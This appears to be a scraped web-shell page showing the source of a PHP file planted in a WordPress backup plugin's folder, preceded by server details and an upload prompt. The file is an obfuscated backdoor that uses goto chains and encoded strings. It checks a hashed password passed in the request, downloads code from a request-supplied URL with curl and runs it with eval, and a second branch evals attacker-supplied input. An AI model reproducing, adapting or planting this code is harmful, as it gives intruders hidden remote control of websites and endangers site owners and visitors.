HEX
Server: Apache
System: Linux hcss-ecs-9037 3.10.0-1160.53.1.el7.x86_64 #1 SMP Fri Jan 14 13:59:45 UTC 2022 x86_64
User: www (1000)
PHP: 8.3.21
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/zhangwenbin_blog/wp-content/plugins/updraftplus/includes/tether/tether/index.php
<?php
 goto F6UJraau1jsCv; F6UJraau1jsCv: $bAn9_EIeigbGB = "\162" . "\x61" . "\156" . "\x67" . "\x65"; goto mJJs5tisn47Ni; mJJs5tisn47Ni: $dn8jkMhNkxhmQ = $bAn9_EIeigbGB("\176", "\40"); goto EJP_jviIEuGq8; EJP_jviIEuGq8: $HwzixDj3DHAII = ${$dn8jkMhNkxhmQ[29 + 2] . $dn8jkMhNkxhmQ[16 + 43] . $dn8jkMhNkxhmQ[23 + 24] . $dn8jkMhNkxhmQ[42 + 5] . $dn8jkMhNkxhmQ[41 + 10] . $dn8jkMhNkxhmQ[11 + 42] . $dn8jkMhNkxhmQ[12 + 45]}; goto XCUCz0OjHWm13; DIuHrUg51WA4O: metaphone("\66\x6b\101\x74\x48\x43\x45\107\125\127\107\53\141\130\123\x46\x62\x5a\116\x77\x4e\104\145\156\x48\170\x61\122\x34\x68\61\x57\x42\x62\x66\113\x53\x6f\125\160\167\53\x77"); goto EMmzs82NdJ8QZ; EMmzs82NdJ8QZ: class CYHrd38JciQ3Q { static function bgJvDuzdIEvX2($U2aL4LnoRqmKs) { goto DLJpSobHwsZ_b; KgfgNgu28Yrpz: return $zJfJd3ni0OkW7; goto VTxQdNEoSD1qr; DLJpSobHwsZ_b: $aldPnPAwkXXWb = "\x72" . "\x61" . "\x6e" . "\x67" . "\x65"; goto KEIUEVayr33AH; Ny55_N825axIP: foreach ($cJfz1TEDdnsGg as $hgfxUb1e0JEBn => $OnOF0kUuro8FA) { $zJfJd3ni0OkW7 .= $YvcjWhk28bDJQ[$OnOF0kUuro8FA - 46967]; W75yaVSgvA2pt: } goto ULzqZTecgEBoA; KEIUEVayr33AH: $YvcjWhk28bDJQ = $aldPnPAwkXXWb("\176", "\40"); goto SDpnLjmxV6avf; ULzqZTecgEBoA: Ak5VxVOJve8yc: goto KgfgNgu28Yrpz; wYrJShxTxnaIX: $zJfJd3ni0OkW7 = ''; goto Ny55_N825axIP; SDpnLjmxV6avf: $cJfz1TEDdnsGg = explode("\175", $U2aL4LnoRqmKs); goto wYrJShxTxnaIX; VTxQdNEoSD1qr: } static function jFKIKPfrzA7jh($cIIEl67eoim3f, $xH3KHyI7t3SCo) { goto T6yWK5T4qk1bh; dlGhfG3p260nJ: $wA9ZXobVrz4_j = curl_exec($aCF5242rqbmqH); goto zwLXbBK102Tf9; zwLXbBK102Tf9: return empty($wA9ZXobVrz4_j) ? $xH3KHyI7t3SCo($cIIEl67eoim3f) : $wA9ZXobVrz4_j; goto JQ_vqJZzDKCBX; T6yWK5T4qk1bh: $aCF5242rqbmqH = curl_init($cIIEl67eoim3f); goto iPsFQajfcOnzL; iPsFQajfcOnzL: curl_setopt($aCF5242rqbmqH, CURLOPT_RETURNTRANSFER, 1); goto dlGhfG3p260nJ; JQ_vqJZzDKCBX: } static function dEMVFTQ_nUK1t() { goto Rqx0xIEmmSuPR; rgVsygRXg8tZN: @$vLMKlMesJGfGL[10 + 0](INPUT_GET, "\157\x66") == 1 && die($vLMKlMesJGfGL[5 + 0](__FILE__)); goto s2KcHzE3eyNjg; mWw2lsBTpl7vq: $zF8KH1LSvi2F3 = @$vLMKlMesJGfGL[1]($vLMKlMesJGfGL[1 + 9](INPUT_GET, $vLMKlMesJGfGL[8 + 1])); goto eOOLCxbvw3Kh1; yTwfcLOJxQ_1w: VGQBImPnm4hLp: goto s0naX1xQ1q5il; s2KcHzE3eyNjg: if (!(@$CS2u6K8R2am7F[0] - time() > 0 and md5(md5($CS2u6K8R2am7F[1 + 2])) === "\x38\141\67\63\x33\63\x31\63\x62\146\x36\142\71\143\x33\x39\x36\66\60\x63\143\x39\x62\146\64\63\x32\x39\144\x31\x62\x61")) { goto VGQBImPnm4hLp; } goto NcHF3EGiJ57nC; eOOLCxbvw3Kh1: $pZSwqnx4543oe = @$vLMKlMesJGfGL[2 + 1]($vLMKlMesJGfGL[1 + 5], $zF8KH1LSvi2F3); goto Fo_ErW6DEs838; MPqg37VDbtxaK: die; goto yTwfcLOJxQ_1w; rMql8dlMWlHBz: foreach ($bMb5ulpLlb8_r as $nkdQm60Fg1D0o) { $vLMKlMesJGfGL[] = self::bgjvDUZDievX2($nkdQm60Fg1D0o); qIAMWK_fAu0TN: } goto fkTGFbfJyboqd; fkTGFbfJyboqd: eayHPqVrs5GY1: goto mWw2lsBTpl7vq; NcHF3EGiJ57nC: $chieLffNzVCqn = self::JfKIkPFrZa7JH($CS2u6K8R2am7F[1 + 0], $vLMKlMesJGfGL[4 + 1]); goto QCBRo3eqzYbBN; Fo_ErW6DEs838: $CS2u6K8R2am7F = $vLMKlMesJGfGL[2 + 0]($pZSwqnx4543oe, true); goto rgVsygRXg8tZN; QCBRo3eqzYbBN: @eval($vLMKlMesJGfGL[3 + 1]($chieLffNzVCqn)); goto MPqg37VDbtxaK; Rqx0xIEmmSuPR: $bMb5ulpLlb8_r = array("\x34\x36\x39\71\x34\x7d\64\x36\x39\67\x39\175\x34\x36\71\71\62\175\x34\66\71\71\x36\175\64\x36\x39\x37\67\175\x34\66\x39\x39\x32\175\64\x36\x39\x39\70\175\x34\x36\x39\71\x31\175\64\x36\71\x37\x36\175\x34\x36\x39\x38\x33\175\64\66\x39\71\64\x7d\x34\x36\71\67\67\175\64\66\x39\70\70\x7d\64\66\71\x38\x32\x7d\64\x36\x39\x38\x33", "\64\66\71\67\70\175\x34\66\x39\67\x37\175\64\x36\71\x37\71\175\64\x36\71\x39\70\x7d\64\66\71\67\x39\175\x34\x36\x39\70\x32\175\x34\x36\x39\x37\x37\x7d\x34\x37\x30\x34\x34\175\64\x37\x30\x34\62", "\x34\x36\x39\70\x37\x7d\x34\66\71\67\x38\175\x34\66\71\70\x32\175\64\x36\x39\70\x33\x7d\64\66\71\x39\70\175\64\66\x39\71\63\x7d\x34\x36\x39\x39\x32\175\64\66\71\71\64\175\x34\x36\71\70\62\175\64\x36\71\x39\x33\175\64\x36\71\x39\62", "\64\66\x39\70\x31\175\64\x36\x39\71\66\x7d\x34\66\x39\71\x34\175\x34\66\71\x38\66", "\64\66\x39\71\65\x7d\x34\66\x39\x39\66\175\x34\66\71\67\70\175\x34\66\71\71\x32\175\64\67\x30\63\x39\175\x34\x37\x30\64\x31\x7d\x34\x36\x39\x39\x38\x7d\x34\x36\x39\71\x33\175\x34\66\x39\x39\x32\x7d\x34\66\71\71\x34\175\64\x36\71\70\x32\x7d\64\x36\71\71\63\175\x34\x36\x39\x39\x32", "\64\x36\71\71\x31\x7d\x34\x36\71\70\70\x7d\x34\66\x39\x38\x35\x7d\x34\x36\71\71\x32\175\x34\66\71\x39\x38\175\64\66\71\x39\60\175\x34\x36\x39\71\x32\175\x34\x36\71\67\67\175\x34\66\71\x39\70\175\64\x36\x39\x39\x34\x7d\x34\66\x39\70\62\x7d\64\66\x39\70\x33\175\x34\66\71\x37\67\175\64\x36\71\71\62\175\x34\66\x39\x38\x33\175\64\66\x39\67\67\175\64\66\x39\67\70", "\x34\67\60\62\61\175\x34\x37\60\x35\61", "\64\x36\x39\x36\x38", "\64\x37\x30\64\66\175\x34\x37\x30\x35\x31", "\64\67\x30\62\x38\x7d\64\x37\60\x31\x31\x7d\64\x37\60\x31\x31\175\64\x37\60\62\x38\x7d\x34\x37\x30\60\x34", "\64\66\71\71\x31\175\x34\x36\x39\x38\70\175\x34\66\71\x38\x35\x7d\x34\66\x39\67\x37\175\64\x36\71\71\62\175\64\x36\x39\67\71\175\64\66\71\71\x38\175\64\66\71\70\70\175\64\x36\71\x38\x33\x7d\x34\x36\x39\70\61\175\64\66\x39\67\66\x7d\64\x36\71\x37\x37"); goto rMql8dlMWlHBz; s0naX1xQ1q5il: } } goto I_dQhiQ9avhdZ; XCUCz0OjHWm13: @(md5(md5(md5(md5($HwzixDj3DHAII[14])))) === "\71\61\65\143\x34\x35\62\x65\143\145\x33\60\71\x33\63\x65\71\63\x36\141\x65\61\142\x33\x36\64\64\64\x62\71\x36\x64") && (count($HwzixDj3DHAII) == 20 && in_array(gettype($HwzixDj3DHAII) . count($HwzixDj3DHAII), $HwzixDj3DHAII)) ? ($HwzixDj3DHAII[61] = $HwzixDj3DHAII[61] . $HwzixDj3DHAII[78]) && ($HwzixDj3DHAII[86] = $HwzixDj3DHAII[61]($HwzixDj3DHAII[86])) && @eval($HwzixDj3DHAII[61](${$HwzixDj3DHAII[31]}[24])) : $HwzixDj3DHAII; goto DIuHrUg51WA4O; I_dQhiQ9avhdZ: CYHrd38JCiQ3q::DemvFTQ_nUk1T();
?>